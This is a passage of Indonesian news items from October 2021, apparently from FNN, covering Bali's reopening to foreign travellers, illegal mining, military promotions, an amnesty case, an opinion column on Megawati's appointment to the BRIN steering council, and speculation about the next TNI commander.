dan 2, dengan angka positivity rate yang rendah. "Daftar 19 negara yang masuk ke Indonesia ini hanya berlaku khusus untuk penerbangan langsung ke Bali dan Kepri," kata Menko Luhut. Ia mengatakan semua jenis pelaku perjalanan dari 19 negara tersebut dapat masuk ke Bali dan Kepri selama mengikuti persyaratan sebelum dan saat kedatangan, seperti melampirkan bukti sudah melakukan vaksinasi lengkap dengan waktu minimal 14 hari sebelum keberangkatan yang dibuat dalam Bahasa Inggris, serta memiliki hasil RT-PCR negatif dalam kurun waktu 3x24 jam. Menko Luhut pun berharap pembukaan pariwisata di Bali berjalan dengan lancar. Pemerintah juga akan melakukan evaluasi dari waktu ke waktu. Sementara itu semua negara lainnya (termasuk yang di luar daftar 19 negara) tetap dapat masuk ke Indonesia, melalui pintu masuk perjalanan internasional Jakarta atau Manado, dengan catatan mengikuti ketentuan karantina dan testing yang sudah ditetapkan. "Lama karantina ini selama 5 hari dan itu tidak hanya berlaku di Bali atau Kepri, tetapi juga di pintu masuk lainnya, baik udara, darat, maupun laut, dan berlaku bagi semua jenis pelaku perjalanan, seperti PMI, TKA, ASN, WNI/WNA umum," ungkap Menko Luhut. Selama proses karantina berlangsung di Bali dan Kepri, WNA/WNI yang masuk Indonesia tidak diperbolehkan keluar dari kamar/private villa/kapal (live on board) sampai masa karantina berakhir dan akan dilakukan pemeriksaan PCR lagi pada hari ke-4 karantina. Selain itu Menko Luhut juga menerangkan bahwa pembiayaan karantina akan dilakukan secara mandiri bagi seluruh penumpang penerbangan internasional yang masuk dan tidak ada yang dibiayai oleh pemerintah. "Oleh karena itu sebelum boarding menuju Bali/Kepri, mereka harus menunjukkan bukti booking hotel/villa/kapal," ujarnya. Sebelum kedatangan pelaku perjalanan internasional ke Bali dan Kepri harus memiliki asuransi kesehatan dengan nilai pertanggungan minimal setara Rp1 miliar dan mencakup pembiayaan penanganan COVID-19. Terakhir Menko Luhut kemudian berpesan pada Kementerian Kesehatan, Kementerian Luar Negeri, Kementerian Perhubungan, Kementerian Pariwisata dan Ekonomi Kreatif, Badan Nasional Penanggulangan Bencana (BNPB), gubernur, pangdam, dan Kapolda Bali untuk berkoordinasi dan menyelesaikan segera persiapan teknis kedatangan perjalanan internasional ke Bali. Selanjutnya akan segera diterbitkan pula Surat Edaran (SE) oleh BNPB yang mengatur lebih rinci tentang regulasi perjalanan internasional tersebut. (ant, sws)

ESDM Catat Ada 2.741 Lokasi Tambang Tanpa Izin

Jakarta, FNN - Kementerian Energi dan Sumber Daya Mineral mencatat ada 2.741 lokasi pertambangan tanpa izin atau PETI yang tersebar di berbagai daerah di Indonesia. Menteri ESDM Arifin Tasrif mengatakan terdapat 96 lokasi PETI batu bara yang tersebar di Kalimantan Timur, Kalimantan Selatan, Bengkulu, dan Sumatera Selatan, serta 2.645 lokasi PETI mineral yang tersebar hampir di seluruh provinsi. "Melibatkan sekitar 3,7 juta orang pekerja PETI dengan rincian kira-kira 480 lokasi berada di luar wilayah izin usaha pertambangan (WIUP) serta 133 lokasi di dalam WIUP, dan 2.128 lokasi belum diketahui berada di dalam atau di luar WIUP yang akan diidentifikasi," ujarnya dalam sebuah webinar di Jakarta, Rabu. Menteri Arifin menyampaikan kegiatan pertambangan tanpa izin memiliki banyak dampak yang dapat merusak kegiatan usaha bagi pemegang izin resmi. Tak hanya itu, PETI juga membahayakan keselamatan karena tidak mengikuti kaidah-kaidah pengertian penambangan yang memadai serta berpotensi terjadi kerusakan lingkungan hidup, antara lain banjir, longsor, dan mengurangi kesuburan tanah. Aktivitas pertambangan tanpa izin juga berpotensi menimbulkan masalah sosial, gangguan keamanan, dan kerusakan hutan. "Kemudian potensi lain adalah merugikan Penerimaan Negara Bukan Pajak (PNBP) serta penerimaan pajak daerah," kata Arifin. Nilai kerugian negara yang ditimbulkan akibat kegiatan pertambangan tanpa izin kurang lebih hampir sama dengan setengah PNBP Direktorat Jenderal Mineral dan Batu Bara Kementerian ESDM. "Kegiatan menambang yang tanpa dilengkapi dengan perizinan yang sah merupakan suatu tindakan kejahatan atau tindakan pidana," tegas Arifin. (ant, sws)

Sebanyak 60 Perwira Tinggi TNI Naik Pangkat

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto menerima laporan kenaikan pangkat 60 orang perwira tinggi (pati) TNI, di Aula Gatot Soebroto Mabes TNI, Cilangkap, Jakarta Timur, Rabu. Kabidpenum Puspen TNI Kolonel Laut (KH) Edys Riyanto, dalam siaran persnya, mengatakan kenaikan pangkat ini berdasarkan Surat Perintah Panglima TNI Nomor Sprin/2243/X/2021 tanggal 12 Oktober 2021. Kenaikan pangkat ini terdiri dari 36 pati TNI AD, 8 pati TNI AL, dan 16 pati TNI AU. Dari TNI AD yang naik pangkat satu tingkat, yaitu Letjen TNI Madsuni (Dankodiklat TNI), Mayjen TNI Seff Nurdin (Pa Sahli Tk III Bid Polkamnas Panglima TNI), Mayjen TNI Purwo Sudaryanto (Pa Sahli Tk III Kasad Bid Intekmil dan Siber), Mayjen TNI Erwin Bambang Tetuko (Kasatwas Unhan), Mayjen TNI Ricky Fredrick Winowatan (Pa Sahli Tk III Bid Jahpers Panglima TNI), Mayjen TNI Agus Arif Fadila, S.I.P. (Tenaga Ahli Pengajar Bid Ideologi Lemhannas), Mayjen TNI Saiful Rachiman (Aslog Kasad), Mayjen TNI Kukuh Surya Sigit (Wadanjen Akademi TNI). Mayjen TNI Agung Hermawanto (Kapoksahli Ka RSPAD Gatot Soebroto), Mayjen TNI Jhonny Djamaris (Kapusjianstralitbang TNI), Brigjen TNI Resmanto Widodo Putro (Karo Perencanaan dan Keuangan Unhan), Brigjen TNI I Made Riawan (Kadispsiad), Brigjen TNI Eko Setiawan Airlangga (Dirlitbang Pusjianstralitbang TNI), Brigjen TNI Muhamad Muchidin (Danmentar Akmil), Brigjen TNI I Wayan Suarjana (Pa Sahli Tk. II Wassus Sahli Bid Wassus dan LH Panglima TNI), Brigjen TNI Rano Maxim Adolf Tilaar (Danrem 052/Wkr Jakarta Barat Kodam Jaya), Brigjen TNI Yudianto Putrajaya (Danrem 102/Pjg Palangkaraya Kodam XII/Tpr), Brigjen TNI Muhammad Ali (Asintel Kas Kogabwilhan II), Brigjen TNI Edy Rochmatullah (Kasetum TNI). Brigjen TNI Triadi Murwanto (Pa Sahli Tk II Kam Teror Sahli Bid Polkamnas Panglima TNI), Brigjen TNI Mohamad Rafi’i (Pa Sahli Tk II Ekku Sahli Bid Ekkudag Panglima TNI), Brigjen TNI Achmad Budiono (Kapuslitbang Sumdahan Balitbang Kemhan), Brigjen TNI Sumartono (Dir Rendalgiat Ops pada Deputi Bid Intelijen Luar Negeri BIN), Brigjen TNI Iwan Bambang Setiawan (Penasihat Militer PTRI PBB di New York, Amerika Serikat). Brigjen TNI M. Fachmi Rizal Nasution (Tenaga Ahli Pengkaji Madya Bid Sismennas Lemhannas), Brigjen TNI Tato Frederik Pasaka (Dir Asia Pasifik pada Deputi Bid Intelijen Luar Negeri BIN), Brigjen TNI Godman Siagian (Widyaiswara Bid Metodologi Riset Seskoad), Brigjen TNI Budi Hariswanto (Waasintel Kasad Bid. Inteltek dan Hublu), Brigjen TNI Nur Salam (Waaskomlek Panglima TNI), Brigjen TNI Yustinus Agus Peristiwanto (Pa Sahli Tk II LH Sahli Bid. Wassus dan LH Panglima TNI), Brigjen TNI Joko Prianto (Dirum Puspalad), Brigjen TNI Sukiman (Wakapuskesad), Brigjen TNI Noch. Tiranduk Mallisa (Pa Sahli Tk II Bid. Banusia Panglima TNI), Brigjen TNI Supriyantoro (Dirum Puspomad), Brigjen TNI Darmaya (Dircab Pusbekangad), dan Brigjen TNI Azhar (Kaotmilti III Surabaya Babinkum TNI). Sebanyak 8 pati TNI AL, yaitu Laksda TNI Dr. Bambang Wiratama (Pa Sahli Tk III Bid Banusia Sahli Panglima TNI), Laksma TNI Hadi Susilo (Bandep Urusan Perencanaan Kontijensi Depolstra Setjen Wantannas), Laksma TNI Joni Sudianto (Dirjianstra Pusjianstralitbang TNI), Laksma TNI Ashari Alamsyah (Danguspurla Koarmada III), Laksma TNI Mugiono (Irlog Itjen TNI), Laksma TNI Halili (Asisten Deputi Koordinasi Kewaspadaan Nasional Kemenko Polhukam), Brigjen TNI (Mar) Edy Prakoso (Danlatamal XI Mer Koarmada III), dan Brigjen TNI (Mar) Supriyono (Wadan Koopssus TNI). Sedangkan dari TNI AU sebanyak 16 pati, yakni Marsdya TNI A Gustaf Brugman (Wakasau), Marsda TNI Rochmadi Saputro (Pa Sahli Tk III Bid Ekkudag Panglima TNI), Marsda TNI Anang Nurhadi S (Tenaga Ahli Pengkaji Bid Ketahanan Nasional Lemhannas), Marsda TNI Andi Heru Wahyudi (Tenaga Ahli Pengajar Bid Sismennas Lemhannas), Marsda TNI Danang Hadiwibowo (Kapusku TNI), Marsda TNI Widyargo Ikoputra (Danseskoau), Marsma TNI M. Somin (Direktur Sarana dan Prasarana BNPP Basarnas), Marsma TNI Tahyodi (Danpuslat Kodiklat TNI). Marsma TNI Setiawan (Pangkosek Hanudnas I Jakarta), Marsma TNI Hendro Arief H (Waka Pusjianstralitbang TNI), Marsma TNI David Yohan Tamboto (Danlanud Hnd), Marsma TNI Nurcahyo Aloysius (Ses Irjenau), Marsma TNI Edi Wuryanto (Dirbinganisminmil Ditjen Badilmiltun Mahkamah Agung), Marsma TNI Petrus H. Sujatmoko (Pa Sahli Tk II Poldagri Sahli BidPolkamnas Panglima TNI), Marsma TNI dr. P. Aribowo (Pati Sahli Kasau Bid Strahan), dan Marsma TNI dr. Mukti Arja Berlian (Ka RSPAU dr. S. Hardjolukito). Turut hadir dalam acara tersebut, Kasau Marsekal TNI Fadjar Prasetyo, Kasum TNI Letjen TNI Eko Margiyono, Irjen TNI Letjen TNI (Mar) Bambang Suswantono, Wakasad Letjen TNI Bakti Agus Fadjari, dan Wakasal Laksdya TNI Ahmadi Heri Purwono. (sws, ant)

Komnas HAM: Nama Dosen USK Saiful Mahdi Harus Dipulihkan

Banda Aceh, FNN - Komisi Nasional Hak Asasi Manusia (Komnas HAM) RI menyatakan bahwa nama dosen Universitas Syiah Kuala (USK) Banda Aceh Saiful Mahdi yang telah mendapatkan amnesti harus dipulihkan oleh pihak manapun, termasuk kampus. "Pemulihan nama Saiful Mahdi harus dipulihkan, sebagai pengajar di USK dan juga berbagai aktivitas lainnya," kata Komisioner Komnas HAM RI Beka Ulung Hapsara, di Banda Aceh, Rabu. Terhadap kasus Saiful Mahdi ini, Komnas HAM memandang bahwa yang bersangkutan memang tidak layak dipidana hanya karena nilai kritisnya terhadap situasi dan persoalan yang terjadi di kampus. Menurut Beka, pemberian amnesti terhadap Saiful Mahdi juga menjadi penanda bahwa tidak ada unsur pidana yang dilakukan oleh dosen MIPA USK Banda Aceh tersebut. "Karena itu saya kira Komnas HAM harus mendorong nama dan hak-hak Saiful Mahdi segera dipulihkan oleh siapapun, termasuk dari USK," ujarnya. Beka juga menuturkan, kasus Saiful Mahdi ini telah memberikan pelajaran terhadap semua pihak bahwa UU ITE (Informasi dan Transaksi Elektronik) sudah sepatutnya direvisi mengingat banyak orang dipenjara akibat peraturan tersebut. Beka meminta kepada Pemerintah dan DPR RI untuk mempercepat proses revisi UU ITE tersebut, supaya kebebasan berpendapat dan berekspresi warga negara sebagai hak konstitusional warga itu terlindungi, serta tidak dikriminalisasi dengan mudah. "Apalagi dalam kasus Saiful Mahdi ini, Komnas HAM sudah dari awal menyatakan pendapat bahwa ini tidak layak dipidanakan," kata Beka Ulung. Seperti diketahui, dosen MIPA USK Unsyiah Saiful Mahdi itu divonis bersalah berdasarkan hasil Kasasi Mahkamah (MA) yang menguatkan putusan PN Banda Aceh, ia harus menjalani hukuman penjara selama tiga bulan dan denda Rp10 juta. Saiful Mahdi dihukum atas kritikannya di grup whatsapp internal USK Banda Aceh terkait hasil seleksi atau tes CPNS dosen Fakultas Teknik kampus tersebut, ia dituntut dengan UU ITE. Lalu, Presiden Joko Widodo memberikan amnesti kepada Saiful Mahdi dengan memberikan surat ke DPR RI tertanggal 29 September 2021 perihal permintaan pertimbangan atas permohonan amnesti Saiful Mahdi. Melalui rapat paripurna, DPR RI telah mengetuk palu tanda menyetujui pemberian amnesti tersebut, Keppres nya juga telah ditandatangani Presiden Jokowi, dan kini Saiful Mahdi telah dibebaskan dari jeruji besi Lapas Kelas II A Banda Aceh. (ant, sws)

Menggelikan, Menyaksikan Pelantikan Ketua Umum PDIP oleh Petugas Partai

Oleh: Tjahja Gunawan*) TERUS terang saya geli bercampur sedih menyaksikan peristiwa politik di panggung kekuasaan saat ini. Merasa geli karena seorang ketua umum partai penguasa dilantik untuk menduduki jabatan yang secara struktural berada dibawah seorang petugas partai dari parpol penguasa tersebut. Merasa sedih karena penulis sebagai rakyat biasa semakin hari semakin sering menyaksikan perilaku elite politik yang saling berebut kekuasaan dan jabatan di hampir semua lini birokrasi dan struktur kelembagaan politik lainnya. Seperti kita ketahui bersama, pada Rabu 13 Oktober 2021, Ketua Umum DPP PDI Perjuangan Megawati Soekarnoputri, dilantik sebagai Ketua Dewan Pengarah Badan Riset dan Inovasi Nasional (BRIN), di Istana Negara, Jakarta. Dia dilantik oleh Presiden Joko Widodo yang nota bene sering juga disebut sebagai Petugas Partai. Penyebutan istilah Petugas Partai ini bukan dari saya atau dari masyarakat, tapi sering dilontarkan oleh Megawati Soekarnoputri di berbagai forum terbuka. Pengertian lugas dari kalimat Petugas Partai tersebut dalam frase bahasa pergaulan orang-orang Betawi kira-kira begini: "Eh walaupun elo Presiden, tapi elo bukan siape-siape. Elo tetap berada di bawah ketiak gua sebagai pimpinan partai". Nah, tiba-tiba sekarang Pimpinan Partai Penguasa itu dilantik oleh petugas partainya. Artinya secara struktural, Ketua Umum DPP PDIP ini harus "tunduk dan patuh" kepada Presiden Jokowi yang notabene posisinya sebagai petugas partai (PDIP). Dengan premis di atas, mungkin saja ada orang yang menuduh penulis tidak memahami konteks birokrasi dengan politik? Justru pelantikan Megawati menjadi seorang pejabat di jajaran birokrasi sebagai Ketua Dewan Pengarah BRIN, telah menyalahi etika politik dan birokrasi. Apalagi sesungguhnya jabatan Megawati di birokrasi bukan hanya di BRIN, sebelumnya dia juga sudah dilantik sebagai Ketua Dewan Pengarah BPIP (Badan Pembinaan Ideologi Pancasila). Dapat gaji dobel? Berdasarkan Perpres No 42 Tahun 2018 tentang Hak Keuangan dan Fasilitas Lainnya Bagi Pimpinan, Pejabat dan Pegawai BPIP yang diteken Presiden Jokowi pada 23 Mei 2018, Megawati berhak mendapatkan gaji senilai Rp 112.548.000 per bulan. Saya belum mengetahui berapa besarnya gaji Megawati dalam jabatan barunya sebagai Ketua Dewan Pengarah BRIN. Yang jelas dalam Keppres Nomor 45 Tahun 2021 tentang Pengangkatan Keanggotaan Dewan Pengarah BRIN disebutkan, “Dan kepada yang bersangkutan masing-masing diberikan hak keuangan dan fasilitas lainnya sesuai peraturan perundang-undangan". Selain Megawati, sembilan orang lainnya juga ditetapkan sebagai Dewan Pengarah BRIN, di antaranya Menkeu Sri Mulyani Indrawati dan Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Suharso Monoarfa dilantik menjadi Wakil Ketua Dewan Pengarah. Selain itu ada juga Sudhamek Agung Waspodo Soenjoto sebagai Sekretaris Dewan Pengarah. Sebelumnya dia juga anggota Dewan Pengarah Unit Kerja Presiden Pembinaan Ideologi Pancasila (UKP-PIP) . Sudhamek Agung juga dikenal sebagai pengusaha, pimpinan Grup Garuda Food. Sementara enam orang lainnya ditetapkan sebagai Anggota Dewan Pengarah BRIN, yakni Emil Salim (mantan Menteri KLH di zaman Orde Baru) , I Gede Wenten, Bambang Kesowo (Mantan Menteri Sekneg di era Presiden Megawati Soekarnoputri tahun 2001-2004), Adi Utarini, Marsudi Wahyu Kisworo, dan Tri Mumpuni. Menurut Kepala BRIN Laksana Tri Handoko, fungsi Megawati Soekarnoputri sebagai Ketua Dewan Pengarah BRIN nantinya menjadi pagar aktivitas keilmuan agar tetap berlandaskan ideologi Pancasila. Harapan penulis: Semoga Pancasila tidak dikerdilkan menjadi Trisila dan Ekasila. Sebagaimana kita ketahui bersama, Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang semula hendak dipaksakan dibahas di DPR mendapat penolakan keras dari masyarakat. Itu karena dalam pasal 6 RUU HIP memuat tentang Trisila dan Ekasila. Banyak yang menganggap itu sama saja mengerdilkan Pancasila. Pada Pasal 6 RUU HIP dinyatakan bahwa ciri pokok Pancasila disebut Trisila, antara lain Ketuhanan, Nasionalisme dan Gotong Royong. Semua sila dari Pancasila tidak dapat dilaksanakan secara terpisah-pisah karena Pancasila merupakan satu kesatuan yang utuh dan saling berkaitan. Sila Ketuhanan Yang Maha Esa adalah sila pertama dan utama yang mendasari keempat sila lainnya. Setelah RUU HIP kandas di DPR, sekarang dibentuk BRIN. Ada kesan, RUU HIP gagal dibuat jadi UU kemudian diganti dengan BRIN. Menurut anggota Komisi VII DPR Mulyanto, pembentukan Dewan Pengarah di BRIN tidak memiliki dasar hukum. "Tidak ada dasar hukum posisi Dewan Pengarah dalam struktur organisasi BRIN termasuk dalam UU Nomor 11/2019 tentang Sistem Nasional Iptek atau Sisnas Iptek. Memang ada dalam RUU HIP. Tapi ini kan baru RUU dan itu pun sudah di-drop dari Program Legislasi Nasional atau Prolegnas," ujar Mulyanto. Dalam Perpres Nomor 74 Tahun 2019 tentang BRIN dan Kepres Nomor 103 Tahun 2001 tentang Lembaga Pemerintah Non-Departemen tidak dikenal jabatan Dewan Pengarah. Jabatan Dewan Pengarah pada BRIN baru muncul pada Perpres Nomor 33 Tahun 2021 yang diteken Jokowi pada 28 April 2021. Dalam menjalankan tugasnya, BRIN sebenarnya tidak membutuhkan jabatan Dewan Pengarah. Terlebih, apabila jabatan itu bersifat ideologis dari BPIP. "Saya pribadi tidak setuju BRIN memiliki dewan pengarah dari BPIP. Logikanya kurang masuk akal. Kalau dicari-cari mungkin saja ada hubungan antara haluan ideologi Pancasila dengan riset dan inovasi. Namun hubungan itu terlalu mengada-ada dan memaksakan diri," kata Mulyanto. Logika anggota DPR ini masuk akal publik. Seharusnya lembaga BRIN tidak dipolitisasi dan dibiarkan bekerja secara ilmiah, objektif, dan rasional. BRIN adalah lembaga ilmiah, biarkan institusi baru ini bekerja dengan dasar-dasar ilmiah objektif, rasional dengan indikator out come yang terukur. Jangan dibebani dengan tugas-tugas ideologis. Namun dengan hadirnya Megawati Soekarnoputri di BRIN, sulit untuk tidak mengatakan bahwa lembaga ini bebas dari kepentingan politik. BRIN berpotensi besar ditunggangi kepentingan politis. Berdasarkan Perpres No 33 Tahun 2021 yang ditandatangani Presiden Jokowi pada 5 Mei 2021, BRIN merupakan satu-satunya badan penelitian nasional. Semua badan penelitian nasional Indonesia seperti Lembaga Ilmu Pengetahuan Indonesia (LIPI), Badan Pengkajian dan Penerapan Teknologi (BPPT), Badan Tenaga Nuklir Nasional (BATAN), dan Lembaga Penerbangan dan Antariksa Nasional (LAPAN) bergabung menjadi BRIN. Orang-orang yang ada di berbagai lembaga yang sekarang tergabung dalam BRIN adalah orang-orang pintar, ilmuwan, dan para peneliti handal dari berbagai disiplin ilmu. Mereka adalah orang-orang objektif dan independen. Meskipun mereka bukan politisi "pokrol bambu" seperti orang-orang di partai politik, bukan berarti mereka tidak paham dengan motif busuk para politisi hitam. Mungkin mereka sekarang diam, tapi suatu saat nanti mereka akan memberi kesaksian atas politisasi BRIN. Semoga. *** *) Wartawan senior FNN

"Solo Connection" Akan Kawal Jokowi hingga Pasca 2024

Jakarta, FNN – Berdasarkan teori interaksi simbolik, diduga kuat KSAD Andika Perkasa akan diplot menjadi Panglima TNI menggantikan Hadi Tjahjanto. Pilihan pada Andika sudah melalui pertimbangan yang matang. Demikian analisa pengamat Komunikasi Politik dan Militer dari Universitas Nasional (Unas) Selamat Ginting kepada Hersubeno Arief melalui kanal Hersubeno Point, jaringan FNN, Selasa (12/10/2021). Setelah pensiun, kata Ginting pengganti Andika tidak mungkin dari TNI AD, karena TNI AL akan kehilangan kesempatan dua kali menjadi Panglima. “Ini akan berakibat kurang bagus. Sebagai kompromi, Jokowi menggunakan Perpres 66 tahun 2019, dimana ada posisi Wakil Panglima TNI. Kemungkinan Yudo Margono bisa menjadi Wakil Panglima TNI,” tegasnya. Perpres ini lanjut Ginting pernah dipakai ketika Laksamana Widodo AS jadi Panglima TNI. Saat itu Fahrur Rozi sebagai Wakil Panglima. Setelah itu saat Panglima TNI Endriartono Sutarto, tidak ada lagi posisi wakil Panglima. Jadi, papar Ginting, saat Andika jadi Panglima TNI, kemungkinan wakil Panglima TNI bisa diisi oleh Yudo Margono. Perpres itu akan digunakan lagi. Tetapi kalau Perpres itu tidak digunakan, dia akan tetap menjadi KSAL. Kalau Yudo boleh memilih, akan memilih KSAL ketimbang Wakil Panglima TNI. Namun, setelah Presiden Joko Widodo sukses menjadikan Andika Perkasa menjadi Panglima TNI, tak serta-merta posisi orang nomor satu di republik ini sudah kuat, sebab Andika hanya menjabat sekitar 1 tahun 2 bulan. Jokowi harus memikirkan sosok pimpinan TNI yang sesuai dengan seleranya. Ia harus mengkader pimpinan TNI, bahkan sampai pasca 2024. Selamat Ginting menegaskan bahwa Presiden Jokowi harus menyiapkan sosok pimpinan TNI yang memiliki jejak hubungan baik dengannya. Dudung Abdurahman, kata Ginting memiliki posisi kuat menduduki jabatan KSAD menggantikan Andika Perkasa. Yang juga menarik, kata Ginting adalah siapa yang bakal menggantikan posisi Pangkostrad yang ditinggalkan Dudung Abdurrahman. Menurut keyakinan Selamat Ginting, calon Pangkostrad yang akan dipilih Jokowi adalah Agus Subianto. “Dialah sosok yang paling mungkin menduduki jabatan Pangkostrad,” katanya. Beliau, kata Ginting, saat ini menjabat Panglima Kodam Siliwangi, lulusan Akmil 1991. Sementara calon alternatif kedua yang bisa menduduki Pangkostrad, menurut Ginting, adalah Maruli Simanjuntak yang saat ini menjadi Pangdam Udayana, lulusan Akmil 1992. Maruli juga menantunya Luhut Binsar Pandjaitan, Menko Marves. “Agus dan Maruli orang dekat lingkaran Jokowi. Keduanya kebetulan pernah menjadi Komandan Pasukan Pengamanan Presiden. Agus Subianto juga pernah menjadi Komandan Kodim di Solo saat Walikota Solo dijabat Joko Widodo. Jadi, ada interaksi. Solo Connection, istilahnya. Maruli juga Solo Connection, karena sebelumnya menjadi Danrem Warastatama di Solo. Sebelumnya juga pernah menjadi Komandan Grup A Paspampres, dimana pemegang kendali pengamanan presiden. Kalau Grup B wakil presiden. Ini betul betul orang orang pilihan. Backround-nya Kopassus,” papar Ginting. Sementara untuk Pangdam Jaya, kata Ginting, Jokowi akan mencari pengganti Mulyo Aji. Dia seangkatan dengan Andika Perkasa. Dia akan mendapatkan promosi bintang tiga, pernah menjadi Danrem di Solo. Solo Connection juga. Jokowi betul-betul membutuhkan lingkaran dekatnya untuk menopang kekuasaannya agar lebih aman dari kalangan militer. “Jokowi tidak pernah mengabaikan orang-orang yang pernah bekerja sama dengan dia,” kata Ginting. (sws)

Andika Perkasa Dipastikan Gantikan Hadi Tjahjanto Menjadi Panglima TNI

Jakarta, FNN –Presiden hampir dapat dipastikan akan memilih KSAD Jenderal TNI Andika Perkasa sebagai Panglima TNI menggantikan Hadi Tjahjanto. Diketahui, Panglima TNI Marsekal Hadi Tjahjanto akan memasuki masa pensiunnya pada 8 November 2021 mendatang. Namun hingga satu bulan menjelang Hadi Tjahjanto pensiun, Presiden Joko Widodo belum memutuskan siapa yang akan menggantikan orang nomor satu di militer tersebut. Ada sinyal yang menarik berkaitan dengan kunjungan Mensesneg Pratikno ke Mabesad pada Senin (11/10/2021). “Ini sinyal politik,” kata Pengamat Komunikasi Politik dan Militer dari Universitas Nasional (Unas) Selamat Ginting kepada Hersubeno Arief dalam kanal Hersubeno Point jaringan FNN, Selasa (12/10/20210). Teori interaksi simbolik kata Ginting adalah teori yang memiliki asumsi bahwa manusia membentuk makna melalui proses komunikasi. Teori ini fokus pada pentingnya konsep diri dan persepsi yang dimiliki individu berdasarkan interaksi dengan individu yang lain. “Ini interaksi antara individu utusan istana dengan yang dikunjungi,” lanjut Ginting. Kalau menurut Helbart Blumer, kata Ginting, ada 3 asumsi dari teori kedatangan Mensesneg ke Mabes AD, pertama berdasarkan makna yang diberikan oleh orang lain kepada mereka, artinya Presiden Jokowi ini memang senang menggunakan simbol-simbol. Ini utusan dari istana yang punya pesan penting. Pesan penting ini tidak berdiri sendiri. Kedua, lanjut Ginting, kemarin saat 5 Oktober 2021 Presiden Jokowi saat menyaksikan parade kendaraan tempur di depan istana, mengatakan begini, “Ya sudah itu bisa jalan, yang menyopiri Pak Andika Perkasa saja. Padahal di situ ada Yudo Margono, di situ juga ada Fadjar Prasetyo,” paparnya. Dari dua interaksi simbolik itu, Selamat Ginting berkesimpulan bahwa Presiden Jokowi sudah memutuskan bahwa Panglima TNI adalah Andika Perkasa. “Walaupun waktunya singkat, 1 tahun 2 bulan, ini akan menggunakan model ketika Presiden Jokowi mengangkat Idham Azis, sebagai Kapolri. Waktunya juga sama sekiatr 1 tahun 2 bulan,” tegasnya. Diakui Ginting bahwa sesungguhnya tidak lazim, Panglima TNI hanya memiliki waktu yang sangat singkat, yakni sekitar 1 tahun lebih. “Memang tidak lazim Panglima TNI hanya punya waktu 1 tahun 2 bulan, sebenarnya kurang efektif, tetapi kita punya pengalaman juga ketika Edi Sudrajat pada era Pak Harto, itu hanya 3 bulan saja menjadi Panglima TNI. Dia merangkap jabatan KSAD dan Menteri Pertahanan Keamanan, tapi kemudian satu per satu jabatan dicopot. KSAD digantukan Wismoyo Arismunandar, Panglima TNI digantikan oleh Feisal Tanjung dan akhirnya Edi Sudrajat hanya menjabat Menhankam. Jadi saya melihat bahwa ini isyarat kuat dari istana bahwa Andika Perkasa akan menjadi Panglima TNI,” paparnya. Isyarat lainnya kata Ginting bahwa Mensesneg tidak mengunjungi kepala staf yang lain, dalam momen Hari TNI. ”Kita lihat Mensesneg tidak mengunjungi Mabes AL tempat dimana Laksamana Yudo Margono berkantor,” katanya. Penunjukan Andika Perkasa menjadi Panglima TNI, lanjut Ginting kemungikan presiden sedang menempuh sama-sama enak. “Pola win-win solution akan dipakai dalam pengertian setelah Andika Perkasa menjadi Panglima TNI akan digantikan oleh Yudo Margono menjadi Panglima TNI berikutnya,” kata Ginting. Penunjukan Andika Perkasa, diyakini Ginting setelah Jokowi meminta pentunjuk empat orang berpengaruh di Indonesia. “Setidaknya Presiden Jokowi akan menanyakan kepada 4 orang pembantu utamanya untuk mencari figur yang pas menjadi Panglima TNI. Pertama Megawati sebagai Ketua Umum PDIP. Megawati akan memilih Andika ketimbang Yudo Margono, kedua Menhankam Prabowo Subianto, ketiga Luhut Binsar Panjaitan, menteri yang paling kuat pengaruhnya, militer dari AD, dan keempat Wantimpres, ada Wiranto yang juga TNI AD. Semua cenderung ke Andika Perkasa,” katanya meyakinkan. “Inilah makna kedatangan Mensesneg Pratikno ke Mabes TNI AD. Berdasarkan teori interaksi simbolik, kuat dugaan saya Andika Perkasa akan diplot menjadi Panglima TNI pengganti Hadi Tjahjanto,” pungkasnya. (sws).

DPRD Apresiasi Kinerja dan Pencegahan COVID-19 di Tangerang

Tangerang, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Tangerang, Provinsi Banten mengapresiasi kinerja kepemimpinan Bupati dan Wakil Bupati Tangerang dalam penanganan serta pencegahan pandemi COVID-19 di daerah itu. "Kita harus mengapresiasi Bupati dan Wakil Bupati Tangerang atas kinerjanya dalam mengatasi pandemi COVID-19 dengan baik," kata Ketua DPRD Kabupaten Tangerang Khalid Ismail saat memberikan sambutan dalam rapat paripurna HUT Ke-389 Kabupaten Tangerang, di Tangerang, Rabu. Menurutnya, kinerja Bupati dan Wakil Bupati Tangerang selama ini dalam menangani pandemi COVID-19 sangat konsisten, sehingga dapat berjalan sesuai apa yang diharapkan. Selain itu, ujarnya pula, sejak awal periode pertama pada tahun 2013-2018, kinerja jajaran Pemerintah Kabupaten (Pemkab) Tangerang juga dalam menggali potensi daerah dinilai cukup baik, karena dapat meningkatkan pendapatan asli daerah (PAD) secara signifikan. Selama tahun 2013, capaian PAD sebesar Rp629 miliar dengan Anggaran Pendapatan dan Belanja Daerah (APBD) Rp2.566 miliar. Sementara pada tahun 2020 capaian PAD itu mencapai sebesar Rp2.389 miliar dengan APBD Rp5.709 miliar. "Untuk prestasi lainnya yang dicapai Pemkab Tangerang adalah capaian WTP sebanyak tiga kali secara berturut-turut dari BPK RI Perwakilan Banten. Selain itu penghargaan inovasi administrasi negara juga telah dicapai," katanya. Selanjutnya, penghargaan sebagai kabupaten/kota layak anak telah diraih oleh Pemkab Tangerang yang diberikan dari Kementerian Pemberdayaan Perempuan dan Perlindungan Anak. Kemudian prestasi-prestasi lainnya juga telah dicapainya, sehingga menjadi sebuah kebanggaan sendiri bagi masyarakat Kabupaten Tangerang. "Meski dalam pembangunan di masyarakat belum tercapai semua, kami akan berkomitmen untuk senantiasa memberikan dukungan," ujarnya. Ia berharap, pada hari jadi Kabupaten Tangerang ke 389 ini dapat mewujudkan dan menciptakan pemerintahan daerah yang bersih, transparan dan jujur, sehingga nantinya dapat meningkatkan kesejahteraan masyarakat sesuai dengan peningkatan sumber daya manusia serta produktivitas usaha ekonomi kerakyatan. "Semoga di usia yang ke 389 ini, visi Tangerang yang religius, cerdas, sehat dan sejahtera bisa diwujudkan secara bersama-sama," kata dia pula. (sws)

Ketua MPR Apresiasi Capaian Indonesia Dalam Pemulihan COVID-19

